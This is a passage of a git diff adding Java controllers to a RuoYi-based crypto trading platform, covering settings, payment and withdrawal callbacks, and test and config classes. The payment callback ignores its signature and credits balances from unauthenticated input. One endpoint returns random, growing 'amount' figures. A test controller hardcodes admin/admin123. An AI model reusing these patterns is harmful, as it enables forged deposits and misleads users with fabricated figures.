.stream().sorted(Comparator.comparing(TabSetting::getSort)).collect(Collectors.toList())); + //底部菜单 + setting = settingService.get(SettingEnum.BOTTOM_MENU_SETTING.name()); + map.put("BOTTOM_MENU_SETTING",setting == null ?new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), BottomMenuSetting.class) + .stream().sorted(Comparator.comparing(BottomMenuSetting::getSort)).collect(Collectors.toList())); + //金刚区 + setting = settingService.get(SettingEnum.MIDDLE_MENU_SETTING.name()); + map.put("MIDDLE_MENU_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), MiddleMenuSetting.class) + .stream().sorted(Comparator.comparing(MiddleMenuSetting::getSort)).collect(Collectors.toList())); + //Logo配置 + setting = settingService.get(SettingEnum.LOGO_SETTING.name()); + map.put("LOGO_SETTING",setting == null ? new LogoSetting() : + JSONUtil.toBean(setting.getSettingValue(), LogoSetting.class)); + //下载地址 + setting = settingService.get(SettingEnum.DOWNLOAD_SETTING.name()); + map.put("DOWNLOAD_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), DownloadSetting.class) + .stream().sorted(Comparator.comparing(DownloadSetting::getSort)).collect(Collectors.toList())); + + //图形验证码 + setting = settingService.get(SettingEnum.MARKET_URL.name()); + map.put("MARKET_URL",setting == null ? new MarketUrlSetting() : + JSONUtil.toBean(setting.getSettingValue(), MarketUrlSetting.class)); + + //多语言 + List data = dictTypeService.selectDictDataByType("t_app_language"); + if (StringUtils.isNull(data)) + { + data = new ArrayList(); + } + map.put("t_app_language",data); + + //vip 等级配置 + setting = settingService.get(SettingEnum.VIP_LEVEL_SETTING.name()); + map.put("VIP_LEVEL_SETTING",setting == null ? new VipLevelSetting() : + JSONUtil.toBean(setting.getSettingValue(), VipLevelSetting.class)); + + //vip 说明 + setting = settingService.get(SettingEnum.VIP_DIRECTIONS_SETTING.name()); + map.put("VIP_DIRECTIONS_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), VipDirectionsSetting.class)); + //时区 + setting = settingService.get(SettingEnum.PLATFORM_SETTING.name()); + if(null == setting){ + com.ruoyi.common.core.domain.entity.TimeZone timeZone = DateUtils.getTimeZone(); + map.put("timeZone",timeZone); + + }else { + PlatformSetting platformSetting = JSONUtil.toBean(setting.getSettingValue(), PlatformSetting.class); + com.ruoyi.common.core.domain.entity.TimeZone timeZone = DateUtils.getTimeZone(platformSetting.getTimezone()); + map.put("timeZone",timeZone); + } + setting = settingService.get(SettingEnum.AUTH_LIMIT.name()); + map.put("AUTH_LIMIT",setting == null ? new AuthLimitSetting():JSONUtil.toBean(setting.getSettingValue(),AuthLimitSetting.class)); + return AjaxResult.success(map); + } +/* @PostMapping("/starSubMark") + public void starSubMark() { + for (MarketThread thread : marketThread) { + thread.marketThreadRun(); + } + }*/ + + @PostMapping("/getMt5Amount") + public AjaxResult getMt5Amount( String coin) { + if(redisCache.hasKey("amount:"+coin)){ + Long amount = redisCache.getCacheObject("amount:"+coin); + if(amount==null){ + amount=0L; + } + Double v = (Math.random() * 100) + 1; + Long add = v.longValue(); + amount+=add; + redisCache.setCacheObject("amount:"+coin,amount); + return AjaxResult.success(amount); + }else { + Double v = (Math.random() * 10000 + 5000); + Long amount = v.longValue(); + redisCache.setCacheObject("amount:"+coin,amount); + return AjaxResult.success(amount); + } + } + + @PostMapping("/getWithdrawMt5Amount") + public AjaxResult getWithdrawMt5Amount( String coin) { + BigDecimal price = "USD".equals(coin.toUpperCase())?BigDecimal.ONE:redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toUpperCase() + "USD"); + if (Objects.isNull(price)){ + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + "USD"+coin.toUpperCase()); + }else{ + price = BigDecimal.ONE.divide(price,6,RoundingMode.DOWN); + } + return AjaxResult.success(price); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/RechargeRecallController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/RechargeRecallController.java new file mode 100644 index 0000000..edc0f9b --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/RechargeRecallController.java @@ -0,0 +1,225 @@ +package com.ruoyi.web.controller.recall; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.ThirdTypeUncEmun; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.udun.client.UdunClient; +import com.ruoyi.udun.domain.Coin; +import com.ruoyi.web.controller.common.ApiBaseController; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.io.IOException; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.Date; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * @author pc + */ +@RestController +@RequestMapping("/api/recall/pay") +@Slf4j +public class RechargeRecallController extends ApiBaseController { + + @Resource + private ITAppRechargeService appRechargeService; + + @Resource + private ITAppAssetService assetService; + @Autowired + private ITAppWalletRecordService recordService; + + @Resource + private ITAppUserService appUserService; + + @Resource + private ITUserSymbolAddressService userSymbolAddressService; + @Resource + private ITWithdrawService withdrawService; + @Resource + private ITAppAssetService itAppUserService; + @Resource + private ITAppWalletRecordService walletRecordService; + @Resource + private SettingService settingService; + @PostMapping(value = "/unc") + public void tradeCallback(@RequestParam("timestamp") String timestamp, + @RequestParam("nonce") String nonce, + @RequestParam("body") String body, + @RequestParam("sign") String sign) throws IOException { + log.info("timestamp:{},nonce:{},sign:{},body:{}", timestamp, nonce, sign, body); + onePay(body); + } + private synchronized void onePay(String recallVO) throws IOException { + log.info("unc recall post body: {}", recallVO); + JSONObject postData = JSON.parseObject(recallVO); + // 三方订单编号 + String fee = postData.getString("fee"); + //地址 + String address = postData.getString("address"); + + String amount = postData.getString("amount"); + + String decimals = postData.getString("decimals"); + + String businessId = postData.getString("businessId"); + //0 待審核1 審核成功2 審核駁回3 交易成功4 交易失敗 + Integer status = postData.getInteger("status"); + Integer tradeType = postData.getInteger("tradeType"); + String tradeId = postData.getString("tradeId"); + String coinType = postData.getString("coinType"); + String mainCoinType = postData.getString("mainCoinType"); + TUserSymbolAddress param = new TUserSymbolAddress(); + param.setAddress(address); + List list = userSymbolAddressService.selectTUserSymbolAddressList(param); + if (!CollectionUtils.isEmpty(list)) { + TUserSymbolAddress tUserSymbolAddress = list.get(0); + Double real = Math.pow(10, Double.valueOf(decimals)); + BigDecimal decimal = new BigDecimal(amount); + BigDecimal realAmount = decimal.divide(new BigDecimal(real), 8, RoundingMode.HALF_UP); + BigDecimal fee1 = new BigDecimal(fee).divide(new BigDecimal(real), 8, RoundingMode.HALF_UP); + log.info("{}代付回调信息:{},{},{},{},{}", address, amount, businessId, status, tradeId); + if (tradeType == 1) { + TAppRecharge appRecharge = new TAppRecharge(); + appRecharge.setAddress(tUserSymbolAddress.getAddress()); + appRecharge.setUserId(tUserSymbolAddress.getUserId()); + + log.error("代收回调时,订单不存在, third_serial_id:{}", tradeId); + ThirdPaySetting setting = settingService.getThirdPaySetting(ThirdTypeUncEmun.UNCDUN.getValue()); + String symbol = ""; + String name = ""; + if (Objects.nonNull(setting)) { + UdunClient udunClient = new UdunClient(setting.getUrl(), + setting.getMechId(), + setting.getKey(), + setting.getReturnUrl()); + List coinList = udunClient.listSupportCoin(false); + for (Coin coin: coinList) { + if(mainCoinType.equals(coin.getMainCoinType())&&coinType.equals(coin.getCoinType())){ + symbol = coin.getSymbol(); + if(symbol.indexOf("USDT")>-1){ + symbol="usdt"; + } + name =coin.getName(); + } + } + //获取所有 然后获取主币,然后获取子币 + JSONObject.toJSONString(coinList); + log.info(JSONObject.toJSONString(coinList)); + } + //创建订单 + if (3 == status) { + log.info("symbol"+symbol); + TAppUser tAppUser = appUserService.selectTAppUserByUserId(tUserSymbolAddress.getUserId()); + TAppRecharge appRecharge1 = new TAppRecharge(); + appRecharge1.setRealAmount(realAmount); + appRecharge1.setAddress(address); + appRecharge1.setUsername(tAppUser.getLoginName()); + appRecharge1.setCreateTime(new Date()); + appRecharge1.setSerialId(tradeId); + appRecharge1.setTxId(tradeId); + appRecharge1.setCoin(symbol.toLowerCase()); + appRecharge1.setUpdateTime(new Date()); + appRecharge1.setRemark("优盾充值成功"); + appRecharge1.setAmount(realAmount); + appRecharge1.setStatus("1"); + appRecharge1.setType(name); + appRecharge1.setUserId(tAppUser.getUserId()); + appRecharge1.setAdminParentIds(tAppUser.getAdminParentIds()); + appRechargeService.save(appRecharge1); + Map assetMap = itAppUserService.getAssetByUserIdList(appRecharge1.getUserId()); + TAppAsset appAsset = assetMap.get(appRecharge1.getCoin() + appRecharge1.getUserId()); + log.info("资产:"+JSONObject.toJSONString(appAsset)); + //增加余额 + if(appAsset==null){ + appAsset = new TAppAsset(); + appAsset.setAmout(appRecharge1.getAmount()); + appAsset.setAvailableAmount(appRecharge1.getAmount()); + appAsset.setUserId(appRecharge1.getUserId()); + appAsset.setAdress(tAppUser.getAddress()); + appAsset.setType(1); + appAsset.setSymbol(symbol.toLowerCase()); + itAppUserService.insertTAppAsset(appAsset); + }else{ + itAppUserService.updateTAppAsset( + TAppAsset.builder() + .symbol(appRecharge1.getCoin()) + .userId(appRecharge1.getUserId()) + .amout(appAsset.getAmout().add(appRecharge1.getAmount())) + .availableAmount(appAsset.getAvailableAmount().add(appRecharge1.getAmount())) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + } + + + walletRecordService.generateRecord(appRecharge1.getUserId(), + appRecharge1.getRealAmount(), RecordEnum.RECHARGE.getCode(), + "", appRecharge1.getSerialId(), + "U盾自动充值",appAsset.getAmout(), + appAsset.getAmout().add(appRecharge1.getRealAmount()),appRecharge1.getCoin(),appRecharge1.getAdminParentIds()); + + log.info("代付回调成功: s erialId:{}", appRecharge1.getSerialId()); + } + return; + }else if(2==tradeType){ + TWithdraw appWithdraw = new TWithdraw(); + appWithdraw.setSerialId(businessId); + List withdraws = withdrawService.selectTWithdrawList(appWithdraw); + if (CollectionUtils.isEmpty(withdraws)) { + log.error("代收提现回调时,订单不存在, third_serial_id:{}", businessId); + return; + } else { + TWithdraw tWithdraw = withdraws.get(0); + if(tWithdraw.getStatus()==1 || tWithdraw.getStatus()==2){ + log.error("代收提现回调已经处理, third_serial_id:{} ,{}", businessId,status); + return; + } + if (3 == status) { + tWithdraw.setFee(fee1); + tWithdraw.setRealAmount(realAmount); + tWithdraw.setStatus(1); + withdrawService.updateTWithdraw(tWithdraw); + log.info("代付回调成功: s erialId:{}", tWithdraw.getSerialId()); + return; + } else { + log.error("回调未成功,返回status:{}", status); + if (2 == status || 4 == status) { + BigDecimal amount1 = tWithdraw.getAmount(); + String coin = tWithdraw.getCoin(); + TAppUser user = appUserService.selectTAppUserByUserId(tWithdraw.getUserId()); + //资产 + Map map = assetService.getAssetByUserIdList(tWithdraw.getUserId()); + TAppAsset asset = map.get(tWithdraw.getCoin() + user.getUserId()); + BigDecimal beforeMount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().add(amount1)); + asset.setAvailableAmount(beforeMount.add(amount1)); + assetService.updateByUserId(asset); + tWithdraw.setStatus(2); + tWithdraw.setUpdateBy(SecurityUtils.getUsername()); + tWithdraw.setWithDrawRemark("unc提现失败"); + tWithdraw.setRemark("unc提现失败"); + withdrawService.updateTWithdraw(tWithdraw); + recordService.generateRecord(tWithdraw.getUserId(), tWithdraw.getAmount(), 8, + SecurityUtils.getUsername(), tWithdraw.getSerialId(), "unc提现失败", beforeMount, + beforeMount.add(tWithdraw.getAmount()), coin, user.getAdminParentIds()); + log.debug("账变前amout ,账变后 ,userId {}-{} {}", beforeMount, beforeMount.add(tWithdraw.getAmount()), user.getUserId()); + } + } + } + } + } + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/WithdrawRecallController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/WithdrawRecallController.java new file mode 100644 index 0000000..d58fda1 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/WithdrawRecallController.java @@ -0,0 +1,149 @@ +package com.ruoyi.web.controller.recall; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.utils.RequestUtil; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.List; +import java.util.Map; + +/** + * @author pc + */ +@RestController +@RequestMapping("/recall/withdraw") +@Slf4j +public class WithdrawRecallController extends ApiBaseController { + + @Resource + private ITWithdrawService withdrawService; + + @Resource + private ITAppAssetService assetService; + @Autowired + private ITAppWalletRecordService recordService; + + @Resource + private ITAppUserService appUserService; + + @PostMapping(value = "/unc") + public void onePayOut(HttpServletRequest request, HttpServletResponse response) throws IOException { + executeOnePayOut(request, response, "unc"); + } + + + private void executeOnePayOut(HttpServletRequest request, HttpServletResponse response, String name) throws IOException { + String postDataStr; + try { + postDataStr = RequestUtil.readJSONString(request); + } catch (Exception e) { + e.printStackTrace(); + log.error("unc回调json data解析失败"); + return; + } + log.info("unc recall post body: {}", postDataStr); + + JSONObject postData = JSON.parseObject(postDataStr); + + // 三方订单编号 + String fee = postData.getString("fee"); + String address = postData.getString("address"); + + String amount = postData.getString("amount"); + + String decimals = postData.getString("decimals"); + + String businessId = postData.getString("businessId"); + //0 待審核1 審核成功2 審核駁回3 交易成功4 交易失敗 + Integer status = postData.getInteger("status"); + Integer tradeType = postData.getInteger("tradeType"); + String tradeId = postData.getString("tradeId"); + + BigDecimal decimal = new BigDecimal(amount); + Double real = Math.pow(10, Double.valueOf(decimals)); + BigDecimal realAmount = decimal.divide(new BigDecimal(real), 8, RoundingMode.HALF_UP); + BigDecimal fee1 = new BigDecimal(fee).divide(new BigDecimal(real), 8, RoundingMode.HALF_UP); + + log.info("{}代付回调信息:{},{},{},{},{}", address, amount, businessId, status, tradeId); + if (tradeType == 2) { + TWithdraw appWithdraw = new TWithdraw(); + appWithdraw.setSerialId(businessId); + List list = withdrawService.selectTWithdrawList(appWithdraw); + if (CollectionUtils.isEmpty(list)) { + log.error("代收提现回调时,订单不存在, third_serial_id:{}", businessId); + response.getWriter().write("ok"); + response.getWriter().flush(); + response.getWriter().close(); + return; + } else { + TWithdraw tWithdraw = list.get(0); + if (tWithdraw.getStatus() == 1 || tWithdraw.getStatus() == 2) { + log.error("代收提现回调已经处理, third_serial_id:{} ,{}", businessId, status); + response.getWriter().write("success"); + response.getWriter().flush(); + response.getWriter().close(); + return; + } + if (3 == status) { + tWithdraw.setFee(fee1); + tWithdraw.setRealAmount(realAmount); + tWithdraw.setStatus(1); + withdrawService.updateTWithdraw(tWithdraw); + log.info("{}代付回调成功: s erialId:{}", name, tWithdraw.getSerialId()); + response.getWriter().write("success"); + response.getWriter().flush(); + response.getWriter().close(); + return; + } else { + log.error("回调未成功,返回status:{}", status); + if (2 == status || 4 == status) { + BigDecimal amount1 = tWithdraw.getAmount(); + String coin = tWithdraw.getCoin(); + TAppUser user = appUserService.selectTAppUserByUserId(tWithdraw.getUserId()); + //资产 + Map map = assetService.getAssetByUserIdList(tWithdraw.getUserId()); + TAppAsset asset = map.get(tWithdraw.getCoin() + user.getUserId()); + BigDecimal beforeMount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().add(amount1)); + asset.setAvailableAmount(beforeMount.add(amount1)); + assetService.updateByUserId(asset); + tWithdraw.setStatus(2); + tWithdraw.setUpdateBy(SecurityUtils.getUsername()); + tWithdraw.setWithDrawRemark("unc提现失败"); + tWithdraw.setRemark("unc提现失败"); + withdrawService.updateTWithdraw(tWithdraw); + recordService.generateRecord(tWithdraw.getUserId(), tWithdraw.getAmount(), 8, + SecurityUtils.getUsername(), tWithdraw.getSerialId(), "unc提现失败", beforeMount, + beforeMount.add(tWithdraw.getAmount()), coin, user.getAdminParentIds()); + log.debug("账变前amout ,账变后 ,userId {}-{} {}", beforeMount, beforeMount.add(tWithdraw.getAmount()), user.getUserId()); + } + } + } + } + response.getWriter().write("success"); + response.getWriter().flush(); + response.getWriter().close(); + return; + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/tool/TestController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/tool/TestController.java new file mode 100644 index 0000000..b4f6bac --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/tool/TestController.java @@ -0,0 +1,183 @@ +package com.ruoyi.web.controller.tool; + +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.R; +import com.ruoyi.common.utils.StringUtils; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiImplicitParam; +import io.swagger.annotations.ApiImplicitParams; +import io.swagger.annotations.ApiModel; +import io.swagger.annotations.ApiModelProperty; +import io.swagger.annotations.ApiOperation; + +/** + * swagger 用户测试方法 + * + * @author ruoyi + */ +@Api("用户信息管理") +@RestController +@RequestMapping("/test/user") +public class TestController extends BaseController +{ + private final static Map users = new LinkedHashMap(); + { + users.put(1, new UserEntity(1, "admin", "admin123", "15888888888")); + users.put(2, new UserEntity(2, "ry", "admin123", "15666666666")); + } + + @ApiOperation("获取用户列表") + @GetMapping("/list") + public R> userList() + { + List userList = new ArrayList(users.values()); + return R.ok(userList); + } + + @ApiOperation("获取用户详细") + @ApiImplicitParam(name = "userId", value = "用户ID", required = true, dataType = "int", paramType = "path", dataTypeClass = Integer.class) + @GetMapping("/{userId}") + public R getUser(@PathVariable Integer userId) + { + if (!users.isEmpty() && users.containsKey(userId)) + { + return R.ok(users.get(userId)); + } + else + { + return R.fail("用户不存在"); + } + } + + @ApiOperation("新增用户") + @ApiImplicitParams({ + @ApiImplicitParam(name = "userId", value = "用户id", dataType = "Integer", dataTypeClass = Integer.class), + @ApiImplicitParam(name = "username", value = "用户名称", dataType = "String", dataTypeClass = String.class), + @ApiImplicitParam(name = "password", value = "用户密码", dataType = "String", dataTypeClass = String.class), + @ApiImplicitParam(name = "mobile", value = "用户手机", dataType = "String", dataTypeClass = String.class) + }) + @PostMapping("/save") + public R save(UserEntity user) + { + if (StringUtils.isNull(user) || StringUtils.isNull(user.getUserId())) + { + return R.fail("用户ID不能为空"); + } + users.put(user.getUserId(), user); + return R.ok(); + } + + @ApiOperation("更新用户") + @PutMapping("/update") + public R update(@RequestBody UserEntity user) + { + if (StringUtils.isNull(user) || StringUtils.isNull(user.getUserId())) + { + return R.fail("用户ID不能为空"); + } + if (users.isEmpty() || !users.containsKey(user.getUserId())) + { + return R.fail("用户不存在"); + } + users.remove(user.getUserId()); + users.put(user.getUserId(), user); + return R.ok(); + } + + @ApiOperation("删除用户信息") + @ApiImplicitParam(name = "userId", value = "用户ID", required = true, dataType = "int", paramType = "path", dataTypeClass = Integer.class) + @DeleteMapping("/{userId}") + public R delete(@PathVariable Integer userId) + { + if (!users.isEmpty() && users.containsKey(userId)) + { + users.remove(userId); + return R.ok(); + } + else + { + return R.fail("用户不存在"); + } + } +} + +@ApiModel(value = "UserEntity", description = "用户实体") +class UserEntity +{ + @ApiModelProperty("用户ID") + private Integer userId; + + @ApiModelProperty("用户名称") + private String username; + + @ApiModelProperty("用户密码") + private String password; + + @ApiModelProperty("用户手机") + private String mobile; + + public UserEntity() + { + + } + + public UserEntity(Integer userId, String username, String password, String mobile) + { + this.userId = userId; + this.username = username; + this.password = password; + this.mobile = mobile; + } + + public Integer getUserId() + { + return userId; + } + + public void setUserId(Integer userId) + { + this.userId = userId; + } + + public String getUsername() + { + return username; + } + + public void setUsername(String username) + { + this.username = username; + } + + public String getPassword() + { + return password; + } + + public void setPassword(String password) + { + this.password = password; + } + + public String getMobile() + { + return mobile; + } + + public void setMobile(String mobile) + { + this.mobile = mobile; + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/core/config/LanguageLocalConfig.java b/ruoyi-api/src/main/java/com/ruoyi/web/core/config/LanguageLocalConfig.java new file mode 100644 index 0000000..458e17a --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/core/config/LanguageLocalConfig.java @@ -0,0 +1,49 @@ +package com.ruoyi.web.core.config; + +import javax.servlet.http.HttpServletRequest; +import java.util.Locale; +import org.apache.commons.lang3.StringUtils; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.LocaleResolver; + +import javax.servlet.http.HttpServletResponse; + +@Configuration +@EnableAutoConfiguration +@ComponentScan +public class LanguageLocalConfig implements LocaleResolver { + + @Override + public Locale resolveLocale(HttpServletRequest request) { + Locale locale = Locale.CHINA; + String language = request.getHeader("Lang"); + if (StringUtils.isNotBlank(language)) { + if(language.contains("_")){ + String[] splitLanguage = language.split("_"); + if (splitLanguage.length > 1) { + locale = new Locale(splitLanguage[0], splitLanguage[1]); + } + }else { + locale = new Locale(language); + } + + } + return locale; + } + + @Override + public void setLocale( + HttpServletRequest request, + HttpServletResponse response, + Locale locale) { + + } + + @Bean + public LocaleResolver localeResolver() { + return new LanguageLocalConfig(); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java b/ruoyi-api/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java new file mode 100644 index 0000000..ae1c3ec --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java @@ -0,0 +1,125 @@ +package com.ruoyi.web.core.config; + +import java.util.ArrayList; +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import com.ruoyi.common.config.RuoYiConfig; +import io.swagger.annotations.ApiOperation; +import io.swagger.models.auth.In; +import springfox.documentation.builders.ApiInfoBuilder; +import springfox.documentation.builders.PathSelectors; +import springfox.documentation.builders.RequestHandlerSelectors; +import springfox.documentation.service.ApiInfo; +import springfox.documentation.service.ApiKey; +import springfox.documentation.service.AuthorizationScope; +import springfox.documentation.service.Contact; +import springfox.documentation.service.SecurityReference; +import springfox.documentation.service.SecurityScheme; +import springfox.documentation.spi.DocumentationType; +import springfox.documentation.spi.service.contexts.SecurityContext; +import springfox.documentation.spring.web.plugins.Docket; + +/** + * Swagger2的接口配置 + * + * @author ruoyi + */ +@Configuration +public class SwaggerConfig +{ + /** 系统基础配置 */ + @Autowired + private RuoYiConfig ruoyiConfig; + + /** 是否开启swagger */ + @Value("${swagger.enabled}") + private boolean enabled; + + /** 设置请求的统一前缀 */ + @Value("${swagger.pathMapping}") + private String pathMapping; + + /** + * 创建API + */ + @Bean + public Docket createRestApi() + { + return new Docket(DocumentationType.OAS_30) + // 是否启用Swagger + .enable(enabled) + // 用来创建该API的基本信息,展示在文档的页面中(自定义展示的信息) + .apiInfo(apiInfo()) + // 设置哪些接口暴露给Swagger展示 + .select() + // 扫描所有有注解的api,用这种方式更灵活 + .apis(RequestHandlerSelectors.withMethodAnnotation(ApiOperation.class)) + // 扫描指定包中的swagger注解 + // .apis(RequestHandlerSelectors.basePackage("com.ruoyi.project.tool.swagger")) + // 扫描所有 .apis(RequestHandlerSelectors.any()) + .paths(PathSelectors.any()) + .build() + /* 设置安全模式,swagger可以设置访问token */ + .securitySchemes(securitySchemes()) + .securityContexts(securityContexts()) + .pathMapping(pathMapping); + } + + /** + * 安全模式,这里指定token通过Authorization头请求头传递 + */ + private List securitySchemes() + { + List apiKeyList = new ArrayList(); + apiKeyList.add(new ApiKey("Authorization", "Authorization", In.HEADER.toValue())); + return apiKeyList; + } + + /** + * 安全上下文 + */ + private List securityContexts() + { + List securityContexts = new ArrayList<>(); + securityContexts.add( + SecurityContext.builder() + .securityReferences(defaultAuth()) + .operationSelector(o -> o.requestMappingPattern().matches("/.*")) + .build()); + return securityContexts; + } + + /** + * 默认的安全上引用 + */ + private List defaultAuth() + { + AuthorizationScope authorizationScope = new AuthorizationScope("global", "accessEverything"); + AuthorizationScope[] authorizationScopes = new AuthorizationScope[1]; + authorizationScopes[0] = authorizationScope; + List securityReferences = new ArrayList<>(); + securityReferences.add(new SecurityReference("Authorization", authorizationScopes)); + return securityReferences; + } + + /** + * 添加摘要信息 + */ + private ApiInfo apiInfo() + { + // 用ApiInfoBuilder进行定制 + return new ApiInfoBuilder() + // 设置标题 + .title("标题:若依管理系统_接口文档") + // 描述 + .description("描述:用于管理集团旗下公司的人员信息,具体包括XXX,XXX模块...") + // 作者信息 + .contact(new Contact(ruoyiConfig.getName(), null, null)) + // 版本 + .version("版本号:" + ruoyiConfig.getVersion()) + .build(); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java b/ruoyi-api/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java new file mode 100644 index 0000000..1d0b1c9 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java @@ -0,0 +1,56 @@ +package com.ruoyi.web.lifecycle; + +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.telegrambot.MyTelegramBot; +import com.ruoyi.telegrambot.TelegramBotConfig; +import lombok.extern.slf4j.Slf4j; +import org.springframework.context.SmartLifecycle; +import org.springframework.stereotype.Component; +import org.telegram.telegrambots.meta.exceptions.TelegramApiException; +@Slf4j +@Component +public class MySmartLifecycle implements SmartLifecycle { + + private volatile boolean running = false; + + /*** true:让Lifecycle类所在的上下文在调用`refresh`时,能够自己自动进行回调* false:表明组件打算通过显式的start()调用来启动,类似于普通的Lifecycle实现。*/ + @Override + public boolean isAutoStartup() { + return true; + } + + /*** 很多框架中,把真正逻辑写在stop()方法内。比如quartz和Redis的spring支持包*/ + @Override + public void stop(Runnable callback) { + System.out.println("stop(callback)"); + stop(); + callback.run(); + } + + @Override + public void start() { + running = true; + } + + @Override + public void stop() { + RedisCache redisCache = SpringContextUtil.getBean(RedisCache.class); + redisCache.deleteObject("socket_coin"); + redisCache.deleteObject("socket_key"); + running = false; + } + + @Override + public boolean isRunning() { + System.out.println("isRunning()"); + return running; + } + + /*** 阶段值。越小:start()方法越靠前,stop()方法越靠后*/ + @Override + public int getPhase() { + System.out.println("getPhase()"); + return 0; + } +} \ No newline at end of file diff --git a/ruoyi-api/src/main/java/com/ruoyi/websocket/SocketThreadRun.java b/ruoyi-api/src/main/java/com/ruoyi/websocket/SocketThreadRun.java new file mode 100644 index 0000000..0fe4611 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/websocket/SocketThreadRun.java @@ -0,0 +1,29 @@ +package com.ruoyi.websocket; + +import com.ruoyi.socket.service.MarketThread; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; + +import javax.annotation.PostConstruct; +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.util.List; + + +@Component +@Slf4j +public class SocketThreadRun { + + @Resource + private List marketThread; + + @PostConstruct + public void starSubMark() { + for (MarketThread thread : marketThread) { + /* thread.marketThreadRun(); + thread.initMarketThreadRun();*/ + } + + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketConfigdd.java b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketConfigdd.java new file mode 100644 index 0000000..1acfd34 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketConfigdd.java @@ -0,0 +1,144 @@ +package com.ruoyi.websocket; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.socket.manager.BianaceWebSocketClient; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.extern.slf4j.Slf4j; +import org.java_websocket.drafts.Draft_6455; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.net.URI; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +@Slf4j +@Component +public class WebSocketConfigdd 